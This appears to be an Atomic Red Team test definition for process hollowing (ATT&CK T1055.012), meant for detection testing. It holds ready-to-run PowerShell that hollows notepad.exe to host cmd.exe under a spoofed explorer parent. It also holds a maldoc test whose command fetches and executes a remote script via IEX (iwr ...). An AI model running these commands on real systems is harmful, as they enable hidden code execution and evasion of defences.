attack_technique: T1055.012
display_name: 'Process Injection: Process Hollowing'
atomic_tests:
- name: Process Hollowing using PowerShell
  auto_generated_guid: 562427b4-39ef-4e8c-af88-463a78e70b9c
  description: |
    This test uses PowerShell to create a Hollow from a PE on disk with explorer as the parent.
    Credit to FuzzySecurity (https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Start-Hollow.ps1)
  supported_platforms:
  - windows
  input_arguments:
    hollow_binary_path:
      description: Path of the binary to hollow (executable that will run inside the sponsor)
      type: String
      default: C:\Windows\System32\cmd.exe
    parent_process_name:
      description: Name of the parent process
      type: String
      default: explorer
    sponsor_binary_path:
      description: Path of the sponsor binary (executable that will host the binary)
      type: String
      default: C:\Windows\System32\notepad.exe
    spawnto_process_name:
      description: Name of the process to spawn
      type: String
      default: notepad
  executor:
    command: |
      . $PathToAtomicsFolder\T1055.012\src\Start-Hollow.ps1
      $ppid=Get-Process #{parent_process_name} | select -expand id
      Start-Hollow -Sponsor "#{sponsor_binary_path}" -Hollow "#{hollow_binary_path}" -ParentPID $ppid -Verbose
    cleanup_command: |
      Stop-Process -Name "#{spawnto_process_name}" -ErrorAction Ignore
    name: powershell
- name: RunPE via VBA
  auto_generated_guid: 3ad4a037-1598-4136-837c-4027e4fa319b
  description: |
    This module executes notepad.exe from within the WINWORD.EXE process
  supported_platforms:
  - windows
  input_arguments:
    ms_product:
      description: Maldoc application Word
      type: String
      default: Word
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Microsoft #{ms_product} must be installed
    prereq_command: |
      try {
        New-Object -COMObject "#{ms_product}.Application" | Out-Null
        $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
        Stop-Process -Name $process
        exit 0
      } catch { exit 1 }
    get_prereq_command: |
      Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement"
  executor:
    command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) 
      Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1055.012\src\T1055.012-macrocode.txt" -officeProduct "#{ms_product}" -sub "Exploit"
    name: powershell
